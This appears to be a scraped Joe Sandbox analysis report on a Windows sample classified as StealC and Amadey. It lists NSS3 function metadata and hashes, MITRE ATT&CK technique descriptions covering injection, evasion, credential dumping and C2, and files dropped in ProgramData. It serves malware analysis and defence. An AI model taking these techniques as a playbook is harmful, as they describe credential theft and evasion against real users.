Instruction ID: fbe6bd065d833f212438c86b3c3a7d48d4d53e5721c4ac481b37d7aeb1de6368
Opcode Fuzzy Hash: 0ea42032bf275664aa8ae19ce3cb42309ed068c0d0f1a6d80f96ac093bdfcbfb
Instruction Fuzzy Hash: 5131FCB2D002186BEB509FA19C01BFF7778DF55308F160429ED15AB781EB35A906CBE1

Function 6CEF4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8l,00000000,00000000,?,?,6CEF3827,?,00000000), ref: 6CEF4D0A

Part of subcall function 6CEE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6CEF4D22

Part of subcall function 6CEDFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE81A3E,00000048,00000054), ref: 6CEDFD56

Strings

'8l, xrefs: 6CEF4D07

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8l
API String ID: 1521942269-1867215535
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: a9dec06fc8662189cc148967946309975d6f65be57496ce2f467f8182898714a
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 6EF0683260112857DB104D6A9D4074336FC9B4567DF354272DD38CB791E632DC0286B2

Function 6CF1AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CF1AF78

Part of subcall function 6CE7ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE7ACE2
Part of subcall function 6CE7ACC0: malloc.MOZGLUE(00000001), ref: 6CE7ACEC
Part of subcall function 6CE7ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE7AD02
Part of subcall function 6CE7ACC0: TlsGetValue.KERNEL32 ref: 6CE7AD3C
Part of subcall function 6CE7ACC0: calloc.MOZGLUE(00000001,?), ref: 6CE7AD8C
Part of subcall function 6CE7ACC0: PR_Unlock.NSS3 ref: 6CE7ADC0
Part of subcall function 6CE7ACC0: PR_Unlock.NSS3 ref: 6CE7AE8C
Part of subcall function 6CE7ACC0: free.MOZGLUE(?), ref: 6CE7AEAB

memcpy.VCRUNTIME140(6CFE3084,6CFE02AC,00000090), ref: 6CF1AF94

Strings

SSL, xrefs: 6CF1AF73

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 0dfd90a050b26c0fe9113d25418342eea7e7b8862b86f208ccde98a857b8e983
Instruction ID: 31ed2dc99fe468ed8522f80e9a4d7cd5dadc82816bcb987c4a28fd00d78fcb43
Opcode Fuzzy Hash: 0dfd90a050b26c0fe9113d25418342eea7e7b8862b86f208ccde98a857b8e983
Instruction Fuzzy Hash: BE213BF2A29A48FB9AC0DF52A50B3127A71B24E35C7519868C3094BF34D732414C9F92

Function 6CE70F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000,?,6CE0204A), ref: 6CE70F1B

Part of subcall function 6CE71370: GetSystemInfo.KERNEL32(?,?,?,?,6CE70936,?,6CE70F20,6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000), ref: 6CE7138F

PR_NewLogModule.NSS3(clock,6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000,?,6CE0204A), ref: 6CE70F25

Part of subcall function 6CE71110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CE70936,00000001,00000040), ref: 6CE71130
Part of subcall function 6CE71110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE70936,00000001,00000040), ref: 6CE71142
Part of subcall function 6CE71110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE70936,00000001), ref: 6CE71167

Strings

clock, xrefs: 6CE70F20

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: d2a09d444786232219f87db4a26da11971a9302816a9c30dd4913ae7faa2aaaf
Instruction ID: 1d840ddcf6d5185719b93e177768d8b2d38107c9e299f9bf7383341491a14ce2
Opcode Fuzzy Hash: d2a09d444786232219f87db4a26da11971a9302816a9c30dd4913ae7faa2aaaf
Instruction Fuzzy Hash: B1D02232A0030831C1A0A2D79C88B96B7BCC7C3279F30082AE20C02E400B3684DAD275

Function 6CEE0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CEE0DF5
TlsGetValue.KERNEL32 ref: 6CEE0E2D
TlsGetValue.KERNEL32 ref: 6CEE0E58
TlsGetValue.KERNEL32 ref: 6CEE0E84

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 21ea1d7ec5755de34820f48e21679ca100e5bf9633b93c5f69d62fd94ad3173e
Instruction ID: 32f10e3cbccf28933cce85224ccb57c368bdd41c3a2eaeea1c74c0d52d412b39
Opcode Fuzzy Hash: 21ea1d7ec5755de34820f48e21679ca100e5bf9633b93c5f69d62fd94ad3173e
Instruction Fuzzy Hash: 8D31AEB0A543858BDF90AF78948426977B4BF0E38CF21467DD88887B31EF359085DA91

Function 6CEE0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE82AF5,?,?,?,?,?,6CE80A1B,00000000), ref: 6CEE0F1A
malloc.MOZGLUE(00000001), ref: 6CEE0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CEE0F42
TlsGetValue.KERNEL32 ref: 6CEE0F5B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 11141bb8c28c30bd544f682f68d8248c9b83096c48833c738732f6212662f789
Instruction ID: 9b0ae31493565d5b8631661b7d721edc9adbf0f8183667eb3a14fb3476ee7237
Opcode Fuzzy Hash: 11141bb8c28c30bd544f682f68d8248c9b83096c48833c738732f6212662f789
Instruction Fuzzy Hash: FF01D8B1E102805BEB602B3E9D056567BBCEF4A2DDB250165ED18C2B21EF31D865C6E2

Function 6CE91EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CE91ECE
free.MOZGLUE(?), ref: 6CE91EDF
free.MOZGLUE(?), ref: 6CE91EEF
free.MOZGLUE(?), ref: 6CE91EF5

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 6b97695c27786e81991e4630759c388cb3cb558d25bb23efe6a0a936b41595b2
Instruction ID: f37d192b227e30f1aa6cf9d5ca181527c7fe1c8473933aaaed334ac957abf205
Opcode Fuzzy Hash: 6b97695c27786e81991e4630759c388cb3cb558d25bb23efe6a0a936b41595b2
Instruction Fuzzy Hash: 54F0E9B57002056BEB00DBA5DC45E27737CEF46198B140434EC0EC3B00DB25F41087A1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFHDAEHDAKECGCAKFCFIJDHJDB

C:\ProgramData\CFBAKKJDBKJJJKFHDAEB

C:\ProgramData\FIJJKECFCFBGDHIECAAF

C:\ProgramData\HCAEHDHD

C:\ProgramData\HIIDGCGCBFBAKFHIJDBA

C:\ProgramData\HJKJKKKJ

C:\ProgramData\IJKJJKFHIJKKFHJJECBAFIDAFI

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre